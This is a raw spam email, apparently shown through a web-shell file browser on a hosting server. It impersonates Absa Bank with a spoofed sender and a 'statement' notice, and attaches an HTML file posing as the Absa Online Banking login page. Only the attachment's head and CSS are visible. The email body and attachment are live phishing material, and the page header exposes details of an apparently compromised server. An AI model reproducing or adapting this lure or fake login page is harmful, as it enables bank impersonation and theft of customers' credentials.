HEX
Server: Apache
System: Linux zacp120.webway.host 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
User: govancoz (1003)
PHP: 8.3.26
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/govancoz/mail/.spam/new/1760906843.M528543P2767215.zacp120.webway.host,S=151015,W=153667
Return-Path: <officialemail@kane-package.com>
Delivered-To: govancoz+spam@zacp120.webway.host
Received: from zacp120.webway.host
	by zacp120.webway.host with LMTP
	id 8L55HVtO9WhvOSoA8rC0kQ
	(envelope-from <officialemail@kane-package.com>)
	for <govancoz+spam@zacp120.webway.host>; Sun, 19 Oct 2025 22:47:23 +0200
Return-path: <officialemail@kane-package.com>
Envelope-to: cheryl@govan.co.za
Delivery-date: Sun, 19 Oct 2025 22:47:23 +0200
Received: from [124.6.178.98] (port=54538 helo=mail2.kane-package.com)
	by zacp120.webway.host with esmtps  (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
	(Exim 4.98.2)
	(envelope-from <officialemail@kane-package.com>)
	id 1vAaJE-0000000Bcvv-0fli
	for cheryl@govan.co.za;
	Sun, 19 Oct 2025 22:47:23 +0200
Received: from [192.168.8.100] (unknown [105.0.6.10])
	(Authenticated sender: noel)
	by mail2.kane-package.com (Postfix) with ESMTPA id D2B30DB00947;
	Mon, 20 Oct 2025 12:49:36 +0800 (PST)
Content-Type: multipart/mixed; boundary="===============1592467755=="
MIME-Version: 1.0
To: Recipients <officialemail@kane-package.com>
From: "Absa Credit Card Account" <officialemail@kane-package.com>
Date: Sun, 19 Oct 2025 22:41:47 -0700
X-Spam-Status: Yes, score=11.0
X-Spam-Score: 110
X-Spam-Bar: +++++++++++
X-Spam-Report: =?ISO-8859-1?Q?Spam_detection_software=2C_running_on_the_system_=22zacp120=2Ewebway?= =?ISO-8859-1?Q?=2Ehost=22=2C=0A_has_identified_this_incoming_email_a?= =?ISO-8859-1?Q?s_possible_spam=2E__The_original=0A_message_has_been_?= =?ISO-8859-1?Q?attached_to_this_so_you_can_view_it_or_label=0A_simil?= =?ISO-8859-1?Q?ar_future_email=2E__If_you_have_any_questions=2C_see=0A_?= =?ISO-8859-1?Q?root=5C=40localhost_for_details=2E=0A_Content_preview?= =?ISO-8859-1?Q?=3A__Dear_Customer_Please_find_your_electronic_statem?= =?ISO-8859-1?Q?ent_for_October=0A____attached=2E_To_keep_your_financ?= =?ISO-8859-1?Q?ial_information_safe=2C_please_note_the_following=3A=0A?= =?ISO-8859-1?Q?____Information_that_only_you_will_know_is_displayed_?= =?ISO-8859-1?Q?in_the_eStatement_verification=0A____block=2E_This_is?= =?ISO-8859-1?Q?_done_so_you_can_be_sure_your_statement_is_from_Absa=2E_?= =?ISO-8859-1?Q?If_any=0A____of_the_information_in_this_eStatement_is?= =?ISO-8859-1?Q?_inco_=5B=2E=2E=2E=5D_=0A_Content_analysis_details=3A_?= =?ISO-8859-1?Q?__=2811=2E0_points=2C_5=2E0_required=29=0A__pts_rule_?= =?ISO-8859-1?Q?name______________description=0A_----_---------------?= =?ISO-8859-1?Q?-------_---------------------------------------------?= =?ISO-8859-1?Q?-----=0A__0=2E0_URIBL=5FBLOCKED__________ADMINISTRATO?= =?ISO-8859-1?Q?R_NOTICE=3A_The_query_to_URIBL_was_blocked=2E=0A_____?= =?ISO-8859-1?Q?________________________See=0A_______________________?= =?ISO-8859-1?Q?______http=3A//wiki=2Eapache=2Eorg/spamassassin/DnsBl?= =?ISO-8859-1?Q?ocklists#dnsbl-block=0A______________________________?= =?ISO-8859-1?Q?for_more_information=2E=0A___________________________?= =?ISO-8859-1?Q?__=5BURI=3A_trustwave=2Ecom=5D=0A____________________?= =?ISO-8859-1?Q?_________=5BURI=3A_absa=2Eco=2Eza=5D=0A______________?= =?ISO-8859-1?Q?_______________=5BURI=3A_cloudfront=2Enet=5D=0A__4=2E0?= =?ISO-8859-1?Q?_SPF=5FFAIL_______________SPF=3A_sender_does_not_matc?= =?ISO-8859-1?Q?h_SPF_record_=28fail=29=0A_=5BSPF_failed=3A_Please_se?= =?ISO-8859-1?Q?e_http=3A//www=2Eopenspf=2Eorg/Why=3Fs=3Dmfrom=3Bid=3Do?= =?ISO-8859-1?Q?fficialemail%40kane-package=2Ecom=3Bip=3D124=2E6=2E17?= =?ISO-8859-1?Q?8=2E98=3Br=3Dzacp120=2Ewebway=2Ehost=5D=0A__0=2E0_RCV?= =?ISO-8859-1?Q?D=5FIN=5FVALIDITY=5FRPBL=5FBLOCKED_RBL=3A_ADMINISTRAT?= =?ISO-8859-1?Q?OR_NOTICE=3A_The_query_to=0A_________________________?= =?ISO-8859-1?Q?_____Validity_was_blocked=2E__See=0A_________________?= =?ISO-8859-1?Q?____________https=3A//knowledge=2Evalidity=2Ecom/hc/e?= =?ISO-8859-1?Q?n-us/articles/20961730681243=0A______________________?= =?ISO-8859-1?Q?________for_more_information=2E=0A___________________?= =?ISO-8859-1?Q?__________=5B124=2E6=2E178=2E98_listed_in_bl=2Escore=2Es?= =?ISO-8859-1?Q?enderscore=2Ecom=5D=0A__0=2E0_RCVD=5FIN=5FVALIDITY=5FC?= =?ISO-8859-1?Q?ERTIFIED=5FBLOCKED_RBL=3A_ADMINISTRATOR_NOTICE=3A_The?= =?ISO-8859-1?Q?=0A_____________________________query_to_Validity_was?= =?ISO-8859-1?Q?_blocked=2E__See=0A_____________________________https?= =?ISO-8859-1?Q?=3A//knowledge=2Evalidity=2Ecom/hc/en-us/articles/209?= =?ISO-8859-1?Q?61730681243=0A______________________________for_more_?= =?ISO-8859-1?Q?information=2E=0A___________________________=5B124=2E6?= =?ISO-8859-1?Q?=2E178=2E98_listed_in_sa-trusted=2Ebondedsender=2Eorg?= =?ISO-8859-1?Q?=5D=0A__0=2E0_RCVD=5FIN=5FVALIDITY=5FSAFE=5FBLOCKED_R?= =?ISO-8859-1?Q?BL=3A_ADMINISTRATOR_NOTICE=3A_The_query_to=0A________?= =?ISO-8859-1?Q?______________________Validity_was_blocked=2E__See=0A_?= =?ISO-8859-1?Q?____________________________https=3A//knowledge=2Eval?= =?ISO-8859-1?Q?idity=2Ecom/hc/en-us/articles/20961730681243=0A______?= =?ISO-8859-1?Q?________________________for_more_information=2E=0A___?= =?ISO-8859-1?Q?__________________________=5B124=2E6=2E178=2E98_liste?= =?ISO-8859-1?Q?d_in_sa-accredit=2Ehabeas=2Ecom=5D=0A__0=2E0_KAM=5FDM?= =?ISO-8859-1?Q?ARC=5FSTATUS_______Test_Rule_for_DKIM_or_SPF_Failure_?= =?ISO-8859-1?Q?with_Strict=0A_____________________________Alignment=0A_?= =?ISO-8859-1?Q?_0=2E0_HTML=5FMESSAGE___________BODY=3A_HTML_included?= =?ISO-8859-1?Q?_in_message=0A__0=2E0_KAM=5FSHORT______________Use_of?= =?ISO-8859-1?Q?_a_URL_Shortener_for_very_short_URL=0A__2=2E0_RDNS=5FN?= =?ISO-8859-1?Q?ONE______________Delivered_to_internal_network_by_a_h?= =?ISO-8859-1?Q?ost_with_no_rDNS=0A__0=2E0_T=5FHTML=5FATTACH_________?= =?ISO-8859-1?Q?_HTML_attachment_to_bypass_scanning=3F=0A__4=2E0_GB=5FB?= =?ISO-8859-1?Q?ADJS_______________Bad_html_attachment=0A__0=2E0_HREF?= =?ISO-8859-1?Q?=5FEMPTY=5FNORDNS______Empty_href_+_no_rDNS=0A__0=2E9?= =?ISO-8859-1?Q?_TO=5FEQ=5FFM=5FDOM=5FSPF=5FFAIL__To_domain_=3D=3D_Fr?= =?ISO-8859-1?Q?om_domain_and_external_SPF=0A________________________?= =?ISO-8859-1?Q?_____failed=0A__0=2E0_TO=5FEQ=5FFM=5FSPF=5FFAIL______?= =?ISO-8859-1?Q?To_=3D=3D_From_and_external_SPF_failed=0A__0=2E0_HTML?= =?ISO-8859-1?Q?=5FTEXT=5FINVISIBLE=5FSTYLE_HTML_hidden_text_+_other_?= =?ISO-8859-1?Q?spam_signs?=
X-Spam-Flag: YES
Subject:  ***SPAM***  Absa Credit Card Account Statement Fee Deducted

You will not see this in a MIME-aware mail reader.
--===============1592467755==
Content-Type: multipart/alternative; boundary="===============1444245919=="
MIME-Version: 1.0

--===============1444245919==
Content-Type: text/plain; charset="iso-8859-1"
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Description: Mail message body

 =

    =

    	  =

   	 =

   	 =

   =

    =

    Dear Customer
 Please find your electronic statement for October attached. To keep your f=
inancial information safe, please note the following:
  =

Information that only you will know is displayed in the eStatement verifica=
tion block. =

 This is done so you can be sure your statement is from Absa. =

If any of the information in this eStatement is incorrect, please contact u=
s immediately on 0860 111 123. =

You will be prompted with your security features to access your eStatement. =

If you do not wish to receive your eStatement by e-mail, you must advise us=
 in writing;
 and we will effect the change within thirty (30) days of receipt of your i=
nstruction. =

   =

   Yours sincerely
 Digital Channels 	 =

    =

 	 =

   	 =

   =

   	 	 	 =

   =

    	 =

   =

    =

    =

    	 =

   Absa Bank Ltd Reg No 1986/004794/06 Authorised Financial Services Provid=
er Registered Credit Provider NCRCP7. E-mail disclaimer and company informa=
tion absa.co.za/disclaimer	 =

   	 =

   	 =

    =

 =

Scanned by Trustwave SEG - Trustwave's comprehensive email content security=
 solution. Download a free evaluation of Trustwave SEG at www.trustwave.com

 =

 =20
--===============1444245919==
Content-Type: text/html; charset="iso-8859-1"
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Description: Mail message body

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html>
<head><meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso=
-8859-1"/>
	<title></title>
</head>
<body>
<table align=3D"center" bgcolor=3D"#f2f2f2" border=3D"0" cellpadding=3D"0" =
cellspacing=3D"0" style=3D"font-size: medium; font-family: &quot;Times New =
Roman&quot;; white-space: normal; word-spacing: 0px; text-transform: none; =
font-weight: 400; color: rgb(0,0,0); font-style: normal; orphans: 2; widows=
: 2; letter-spacing: normal; text-indent: 0px; -webkit-text-stroke-width: 0=
px; text-decoration-style: initial; text-decoration-color: initial; font-va=
riant-ligatures: normal; font-variant-caps: normal" width=3D"100%">
	<tbody>
		<tr>
			<td>
			<table align=3D"center" bgcolor=3D"#ffffff" border=3D"0" cellpadding=3D"=
0" cellspacing=3D"0" width=3D"600">
				<tbody>
					<tr>
						<td bgcolor=3D"#ffffff" width=3D"17">&nbsp;</td>
						<td width=3D"566">
						<table align=3D"center" bgcolor=3D"#ffffff" border=3D"0" cellpadding=
=3D"0" cellspacing=3D"0" width=3D"566">
							<tbody>
								<tr>
									<td height=3D"221" width=3D"566"><img alt=3D"Absa - eSTATEMENT" bo=
rder=3D"0" src=3D"https://www.absa.co.za/content/dam/south-africa/absa/esta=
tements/headers/new-card-en-bus-header.jpg" style=3D"cursor: pointer; outli=
ne-width: 0px; outline-style: none; display: block; outline-color: invert" =
tabindex=3D"0" width=3D"600" /></td>
								</tr>
								<tr>
									<td height=3D"10" style=3D"font-family: Roboto, RobotoDraft, Helve=
tica, Arial, sans-serif; margin: 0px">&nbsp;</td>
								</tr>
							</tbody>
						</table>

						<table align=3D"center" bgcolor=3D"#ffffff" border=3D"0" cellpadding=
=3D"0" cellspacing=3D"0" width=3D"566">
							<tbody>
								<tr>
									<td height=3D"200" style=3D"font-family: Roboto, RobotoDraft, Helv=
etica, Arial, sans-serif; margin: 0px" valign=3D"top" width=3D"352">
									<table align=3D"center" bgcolor=3D"#ffffff" border=3D"0" cellpaddi=
ng=3D"15" cellspacing=3D"0" width=3D"100%">
										<tbody>
											<tr>
												<td style=3D"font-family: Roboto, RobotoDraft, Helvetica, Arial=
, sans-serif; margin: 0px" width=3D"100%">
												<p><font style=3D"color: rgb(88,89,91); font: 12px Arial">Dear =
Customer</font></p>

												<p><font style=3D"color: rgb(88,89,91); font: 12px Arial">Pleas=
e find your electronic statement for<span>&nbsp;</span><b>October</b><span>=
&nbsp;</span>attached. To keep your financial information safe, please note=
 the following:</span></p>

									<ul style=3D"font-size: 12px; margin-bottom: 0in; font-family: Hel=
vetica, Arial, sans-serif; white-space: normal; word-spacing: 0px; text-tra=
nsform: none; font-weight: 400; color: rgb(51,51,51); font-style: normal; o=
rphans: 2; widows: 2; letter-spacing: normal; background-color: rgb(255,255=
,255); text-indent: 0px; box-shadow: none; border-radius: 0px; text-shadow:=
 none; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text=
-decoration-color: initial; font-variant-ligatures: normal; font-variant-ca=
ps: normal">
										<li style=3D"font-size: 11pt; font-family: Calibri, sans-serif; c=
olor: rgb(88,89,91); margin: 0in 0in 8pt; line-height: normal; box-shadow: =
none; border-radius: 0px; text-shadow: none"><span style=3D"font-size: 9pt;=
 font-family: Arial, sans-serif; box-shadow: none; border-radius: 0px; text=
-shadow: none">Information that only you will know is displayed in the eSta=
tement verification block.<span>&nbsp;</span><br style=3D"box-shadow: none;=
 border-radius: 0px; text-shadow: none" />
										This is done so you can be sure your statement is from Absa.</spa=
n></li>
										<li style=3D"font-size: 11pt; font-family: Calibri, sans-serif; c=
olor: rgb(88,89,91); margin: 0in 0in 8pt; line-height: normal; box-shadow: =
none; border-radius: 0px; text-shadow: none"><span style=3D"font-size: 9pt;=
 font-family: Arial, sans-serif; box-shadow: none; border-radius: 0px; text=
-shadow: none">If any of the information in this eStatement is incorrect, p=
lease contact us immediately on 0860 111 123.</span></li>
										<li style=3D"font-size: 11pt; font-family: Calibri, sans-serif; c=
olor: rgb(88,89,91); margin: 0in 0in 8pt; line-height: normal; box-shadow: =
none; border-radius: 0px; text-shadow: none"><span style=3D"font-size: 9pt;=
 font-family: Arial, sans-serif; box-shadow: none; border-radius: 0px; text=
-shadow: none">You will be prompted with your security features to access y=
our eStatement.</span></li>
										<li style=3D"font-size: 11pt; font-family: Calibri, sans-serif; c=
olor: rgb(88,89,91); margin: 0in 0in 8pt; line-height: normal; box-shadow: =
none; border-radius: 0px; text-shadow: none"><span style=3D"font-size: 9pt;=
 font-family: Arial, sans-serif; box-shadow: none; border-radius: 0px; text=
-shadow: none">If you do not wish to receive your eStatement by e-mail, you=
 must advise us in writing;<br style=3D"box-shadow: none; border-radius: 0p=
x; text-shadow: none" />
										and we will effect the change within thirty (30) days of receipt =
of your instruction.<span>&nbsp;</span></span><br style=3D"box-shadow: none=
; border-radius: 0px; text-shadow: none" />
										&nbsp;
										<table style=3D"border-collapse: collapse; border-spacing: 0px; d=
isplay: table; line-height: 1.2em; box-shadow: none; border-radius: 0px; te=
xt-shadow: none">
											<tbody style=3D"line-height: 1.2em; box-shadow: none; border-rad=
ius: 0px; text-shadow: none">
												<tr style=3D"vertical-align: inherit; display: table-row; line-=
height: 1.2em; box-shadow: none; border-radius: 0px; text-shadow: none">
													<td height=3D"5" style=3D"border-top: medium none; border-righ=
t: medium none; vertical-align: top; border-bottom: medium none; padding-bo=
ttom: 0px; padding-top: 0px; padding-left: 0px; border-spacing: 2px; border=
-left: medium none; margin: 0px; display: table-cell; line-height: 1.2em; p=
adding-right: 0px; box-shadow: none; border-radius: 0px; text-shadow: none"=
><font style=3D"color: rgb(88,89,91); font: 12px arial; box-shadow: none; b=
order-radius: 0px; text-shadow: none">Yours sincerely<br style=3D"box-shado=
w: none; border-radius: 0px; text-shadow: none" />
													Digital Channels<span>&nbsp;</span></font></td>
												</tr>
											</tbody>
										</table>
										</li>
									</ul>
									</td>
								</tr>
								<tr>
									<td height=3D"10">&nbsp;</td>
								</tr>
							</tbody>
						</table>

						<table align=3D"center" bgcolor=3D"#ffffff" border=3D"0" cellpadding=
=3D"10" cellspacing=3D"0" width=3D"100%">
							<tbody>
								<tr>
									<td height=3D"20"><a href=3D"https://www.absa.co.za/bannerestateme=
nt/chqprivate-en-chq-b1" target=3D"_blank"><img src=3D"https://www.absa.co.=
za/content/dam/south-africa/absa/estatements/banners/chqprivate-en-chq-b1.j=
pg" style=3D"border-top: 0px; border-right: 0px; border-bottom: 0px; border=
-left: 0px" width=3D"180" /></a></td>
									<td height=3D"20"><a href=3D"https://www.absa.co.za/bannerestateme=
nt/chqprivate-en-chq-b2" target=3D"_blank"><img src=3D"https://www.absa.co.=
za/content/dam/south-africa/absa/estatements/banners/chqprivate-en-chq-b2.j=
pg" style=3D"border-top: 0px; border-right: 0px; border-bottom: 0px; border=
-left: 0px" width=3D"180" /></a></td>
									<td height=3D"20"><a href=3D"https://www.absa.co.za/bannerestateme=
nt/chqprivate-en-chq-b3" target=3D"_blank"><img src=3D"https://www.absa.co.=
za/content/dam/south-africa/absa/estatements/banners/chqprivate-en-chq-b3.j=
pg" style=3D"border-top: 0px; border-right: 0px; border-bottom: 0px; border=
-left: 0px" width=3D"180" /></a></td>
								</tr>
							</tbody>
						</table>

						<table align=3D"center" bgcolor=3D"#ffffff" border=3D"0" cellpadding=
=3D"0" cellspacing=3D"0" width=3D"100%">
							<tbody>
								<tr>
									<td width=3D"15">&nbsp;</td>
								</tr>
							</tbody>
						</table>

						<table align=3D"center" bgcolor=3D"#ffffff" border=3D"0" cellpadding=
=3D"0" cellspacing=3D"0" width=3D"100%">
							<tbody>
							</tbody>
						</table>

						<table align=3D"center" bgcolor=3D"#ffffff" border=3D"0" cellpadding=
=3D"0" cellspacing=3D"15" width=3D"100%">
							<tbody>
								<tr>
									<td align=3D"left" height=3D"35" valign=3D"top" width=3D"600">
									<table>
										<tbody>
											<tr>
												<td height=3D"5">&nbsp;</td>
											</tr>
										</tbody>
									</table>
									<font style=3D"color: rgb(100,100,100); font: 9px Arial">Absa Bank=
 Ltd Reg No 1986/004794/06 Authorised Financial Services Provider Registere=
d Credit Provider NCRCP7. E-mail disclaimer and company information absa.co=
.za/disclaimer</font></td>
								</tr>
							</tbody>
						</table>
						</td>
					</tr>
				</tbody>
			</table>
			</td>
		</tr>
	</tbody>
</table>



<FONT face=3DArial><FONT size=3D2>
<HR>
<FONT color=3D#808080><BR>Scanned by</FONT> <FONT =

color=3D#4f1f91><STRONG>Trustwave SEG</STRONG></FONT> <FONT color=3D#808080=
>- =

Trustwave's comprehensive email content security solution. Download a free =

evaluation of Trustwave SEG at </FONT></FONT><A =

href=3D"http://www.trustwave.com"><FONT color=3D#808080 =

size=3D2>www.trustwave.com</FONT></A><BR><BR><FONT =

color=3D#400080><STRONG></STRONG></FONT><FONT size=3D2>
<HR>
</FONT></FONT>
</body>
</html>

--===============1444245919==--
--===============1592467755==
MIME-Version: 1.0
Content-Type: text/html; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment; filename="Credit Card Statement.htm"

<html data-critters-container=3D"" class=3D"" style=3D"">
  <head class=3D"at-element-marker">
    <base href=3D"/xdas/clr/">
    <meta charset=3D"UTF-8">
    <meta name=3D"viewport" content=3D"width=3Ddevice-width, initial-scale=
=3D1 maximum-scale=3D1.0">
    <title>Absa Online Banking</title>
    <!-- =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D ANALYTICS =3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D -->
     <style>
        /*! CSS Used from: Embedded */
html{box-sizing:border-box;}
*,*:before,*:after{box-sizing:inherit;}
html{-ms-overflow-style:scrollbar;-webkit-tap-highlight-color:rgba(0,0,0,0)=
;min-height:101%;}
body{font-family:Source Sans Pro,sans-serif;font-size:14px;font-weight:400;=
line-height:1.5;color:#2d2323;background-color:#f9f8f8;margin:0;scroll-beha=
vior:smooth!important;overscroll-behavior:contain;}
img{vertical-align:middle;}
*:focus{outline:none;}
/*! CSS Used from: https://ib.absa.co.za/xdas/clr/styles.695490ebbdf80d98.c=
ss ; media=3Dall */
@media all{
html{box-sizing:border-box;}
*,*:before,*:after{box-sizing:inherit;}
html{-ms-overflow-style:scrollbar;-webkit-tap-highlight-color:rgba(0,0,0,0)=
;min-height:101%;}
body{font-family:Source Sans Pro,sans-serif;font-size:14px;font-weight:400;=
line-height:1.5;color:#2d2323;background-color:#f9f8f8;margin:0;scroll-beha=
vior:smooth!important;overscroll-behavior:contain;}
[tabindex=3D"-1"]:focus{outline:none!important;}
h1{margin-top:0;margin-bottom:0;}
p{margin-top:0;margin-bottom:1rem;}
ul{margin-top:0;margin-bottom:1rem;}
a{color:#f0325a;text-decoration:none;cursor:pointer;}
a:active{color:#640032;text-decoration:none;}
a:hover,a:focus{color:#af144b;text-decoration:none;}
a:not([href]):not([tabindex]){color:#f0325a;text-decoration:none;cursor:poi=
nter;}
a:not([href]):not([tabindex]):active{color:#640032;text-decoration:none;}
a:not([href]):not([tabindex]):hover,a:not([href]):not([tabindex]):focus{col=
or:#af144b;text-decoration:none;}
img{vertical-align:middle;}
a,button,input,label{touch-action:manipulation;}
label{display:inline-block;}
button:focus{outline:1px dotted;outline:5px auto -webkit-focus-ring-color;}
input,button{line-height:inherit;}
.cdk-overlay-container{z-index:11200;position:fixed;}
.cdk-overlay-container{pointer-events:none;top:0;left:0;height:100%;width:1=
00%;}
h1{font-weight:600;}
[class^=3Dicon-],[class*=3D" icon-"]{font-family:cb-icons!important;-moz-os=
x-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;font-style:no=
rmal;font-variant:normal;font-weight:400;line-height:inherit;speak:none;tex=
t-transform:none;}
.icon-close:before{content:"\e929";}
.icon-help:before{content:"\e9e8";}
.icon-menu:before{content:"\ea3c";}
.icon-arrow-forward:before{content:"\e907";}
.icon-phone:before{content:"\e9f9";}
.icon-login:before{content:"\ea3b";}
.icon-arrow-back:before{content:"\e906";}
.icon-circle:before{content:"\ebe3";}
.icon-document-page-pen:before{content:"\ebe5";}
.icon-change-lang:before{content:"\eefa";}
.icon-registration:before{content:"\eefb";}
.container-fluid{max-width:1440px;position:relative;margin-left:auto;margin=
-right:auto;padding-left:15px;padding-right:15px;}
@media (min-width: 576px){
.container-fluid{padding-left:15px;padding-right:15px;}
}
@media (min-width: 768px){
.container-fluid{padding-left:15px;padding-right:15px;}
}
@media (min-width: 980px){
.container-fluid{padding-left:15px;padding-right:15px;}
}
@media (min-width: 1100px){
.container-fluid{padding-left:15px;padding-right:15px;}
}
.container-fluid.footer{position:initial!important;}
.form-control{background-color:#fff;background-image:none;border:1px solid =
#cac7c7;border-radius:5px;color:#2d2323;font-weight:400;font-family:Source =
Sans Pro,sans-serif;font-size:14px;height:40px;line-height:40px;padding-lef=
t:16px;padding-right:16px;vertical-align:middle;width:100%;cursor:auto;}
.form-control:focus{background-color:#fff;border-color:#af144b;outline:0;}
.form-control:hover,.form-control:focus{box-shadow:0 4px 8px #00000029;}
.form-control:hover{border-color:#cac7c7;}
.form-control:focus{border-color:#af144b;}
.input-group{display:flex;position:relative;width:100%;}
.no-spin,.no-spin:hover{-moz-appearance:textfield;}
.tooltip-padding{margin-top:-3px;}
.custom-btn-group{text-align:right;}
.custom-btn-group form-button+form-button .btn{margin-left:0;}
.form-group{margin-bottom:16px;}
.form-group label{font-size:14px;color:#2d2323;font-weight:600;padding-bott=
om:0;}
.form-group__info{color:#787272;font-size:14px;}
input{font-family:inherit;}
.btn{border:1px solid transparent;border-radius:5px;cursor:pointer;display:=
inline-block;min-width:80px;font-family:Source Sans Pro,sans-serif;font-wei=
ght:600;font-size:14px;padding:0 24px;text-align:center;position:relative;t=
ransition:all .2s ease;-webkit-user-select:none;user-select:none;vertical-a=
lign:middle;white-space:nowrap;}
.btn:hover,.btn:focus{box-shadow:0 4px 8px #00000029;outline:0;}
.btn:active{box-shadow:0 2px 4px #00000012;transition:all 0s ease;}
.btn:disabled{background-color:#e3e2e2;border-color:#e3e2e2;color:#b5b2b2;b=
ox-shadow:none;}
.btn-primary{background-color:#fa551e;border-color:#fa551e;color:#fff;heigh=
t:40px;}
.btn-primary:hover,.btn-primary:focus{background-color:#ff780f;border-color=
:#ff780f;}
.btn-primary:active{background-color:#fa551e;border-color:#fa551e;}
.btn-primary:disabled{background-color:#e3e2e2;border-color:#e3e2e2;color:#=
b5b2b2;box-shadow:none;}
.btn-primary:disabled:hover,.btn-primary:disabled:focus{box-shadow:none;}
.btn-secondary{height:40px;background-color:transparent;border-color:#fa551=
e;color:#fa551e;}
.btn-secondary:hover{color:#ff780f;border-color:#ff780f;background-color:#f=
ff;}
.btn-secondary:focus{height:40px;border-radius:5px;border:solid 1px #ff780f=
;background-color:#fff;}
.btn-secondary:active{background-color:#fff;color:#fa551e;border-color:#fa5=
51e;}
.btn-secondary:disabled{background-color:#fff;border-color:#e3e2e2;color:#b=
5b2b2;box-shadow:none;}
.btn-secondary:disabled:hover,.btn-secondary:disabled:focus{box-shadow:none=
;}
.btn-stretch{min-width:80px;font-size:14px;width:100%;}
*:focus{outline:none;}
.hub_section_padding{padding-top:16px;}
.side-panel-small-container-top-padding{padding-top:8px;}
.side-panel-medium-container-bottom-padding{padding-bottom:16px;}
}
/*! CSS Used from: Embedded */
.application__side-bar[_ngcontent-ng-c1950413150]{min-width:210px;position:=
fixed;transition:min-width .35s ease;z-index:999;}
.application__body[_ngcontent-ng-c1950413150]{max-height:none!important;scr=
oll-behavior:smooth!important;}
.below-footer-space-gt-md[_ngcontent-ng-c1950413150]{height:0;}
.application[_ngcontent-ng-c1950413150]{align-items:stretch;display:flex;fl=
ex-direction:row;justify-content:flex-start;position:relative;}
.application__side-bar[_ngcontent-ng-c1950413150]{min-width:210px;position:=
fixed;transition:min-width .35s ease;z-index:9999;}
.application__body[_ngcontent-ng-c1950413150]{scroll-behavior:smooth!import=
ant;}
.application__content[_ngcontent-ng-c1950413150]{align-items:stretch;displa=
y:flex;flex-direction:column;flex-grow:9999;justify-content:flex-start;marg=
in-top:69px;}
/*! CSS Used from: Embedded */
.side-nav[_ngcontent-ng-c3503980013]{background-color:#fff;display:flex;hei=
ght:100%;left:0;min-width:0;overflow:auto;padding:0;position:fixed;top:0;wi=
dth:100%;z-index:10450;box-shadow:0 4px 8px #00000029;}
.side-nav-gt-sm[_ngcontent-ng-c3503980013]{width:64px;}
.side-nav-inner[_ngcontent-ng-c3503980013]{height:calc(100% - 64px);margin-=
top:64px;width:100%;overflow-y:scroll;display:block;float:left;scrollbar-wi=
dth:none;-ms-overflow-style:none;}
.side-nav-inner[_ngcontent-ng-c3503980013]::-webkit-scrollbar{width:0;backg=
round:transparent;}
.side-nav-inner[_ngcontent-ng-c3503980013]::-webkit-scrollbar-track{backgro=
und:transparent;border-radius:3px;color:#be0028;}
.side-nav-inner[_ngcontent-ng-c3503980013]::-webkit-scrollbar-thumb{backgro=
und:transparent;border-radius:3px;color:#be0028;min-height:36px;}
.side-nav-inner[_ngcontent-ng-c3503980013]:hover::-webkit-scrollbar-track{b=
ackground:#ffffff26;}
.side-nav-inner[_ngcontent-ng-c3503980013]:hover::-webkit-scrollbar-thumb{b=
ackground:#ffffff1a;}
.side-nav-top[_ngcontent-ng-c3503980013]{background:#fff;display:flex;justi=
fy-content:space-between;left:0;position:absolute;top:0;width:100%;z-index:=
1;height:64px;}
.side-nav-close[_ngcontent-ng-c3503980013]{align-items:center;color:#fff;cu=
rsor:pointer;display:flex;flex:0 0 auto;flex-direction:column;justify-conte=
nt:center;min-width:48px;padding:10px;transition:background .25s;}
.side-nav-close[_ngcontent-ng-c3503980013]:focus{text-decoration:none;}
.side-nav-close-icon[_ngcontent-ng-c3503980013]{align-items:flex-end;displa=
y:inline-flex;height:20px;position:relative;transition:top .25s;width:20px;}
.side-nav-close-icon[_ngcontent-ng-c3503980013]   span[_ngcontent-ng-c35039=
80013]{background:#000;display:block;height:1px;margin-bottom:5px;position:=
absolute;transition:transform .25s;width:100%;}
.side-nav-close-icon[_ngcontent-ng-c3503980013]   span[_ngcontent-ng-c35039=
80013]:nth-child(1){top:6px;transform:rotate(45deg);transform-origin:center=
 center;}
.side-nav-close-icon[_ngcontent-ng-c3503980013]   span[_ngcontent-ng-c35039=
80013]:nth-child(2){opacity:0;}
.side-nav-close-icon[_ngcontent-ng-c3503980013]   span[_ngcontent-ng-c35039=
80013]:nth-child(3){top:6px;transform:rotate(-45deg);}
.side-nav-body[_ngcontent-ng-c3503980013]{display:flex;flex-direction:colum=
n;transition:.3s ease;}
.side-nav-divider[_ngcontent-ng-c3503980013]{background-color:#d7d5d5;heigh=
t:1px;}
.side-nav-divider-hamburger[_ngcontent-ng-c3503980013]{margin-left:12px;mar=
gin-right:12px;}
.side-nav-logo[_ngcontent-ng-c3503980013]{display:block;width:64px;height:6=
4px;}
.nav-item[_ngcontent-ng-c3503980013]{align-items:center;color:#2b2b2b;curso=
r:pointer;display:flex;flex-direction:row;font-weight:300;justify-content:f=
lex-start;height:48px;outline-color:transparent;padding:16px 14px;position:=
relative;text-decoration:none;transition:.3s ease;width:100%;}
.nav-item[_ngcontent-ng-c3503980013]:focus{outline-offset:-1px;outline:tran=
sparent solid 1px;}
.nav-item[_ngcontent-ng-c3503980013]:active{background-color:#af144b;text-d=
ecoration:none;color:#fff;}
.nav-item-flex-direction[_ngcontent-ng-c3503980013]{flex-direction:column!i=
mportant;padding:10px 2px 0 1px;height:64px;}
.nav-item-icon-container[_ngcontent-ng-c3503980013]{display:flex;flex-direc=
tion:row;justify-content:center;max-width:20px;min-width:20px;}
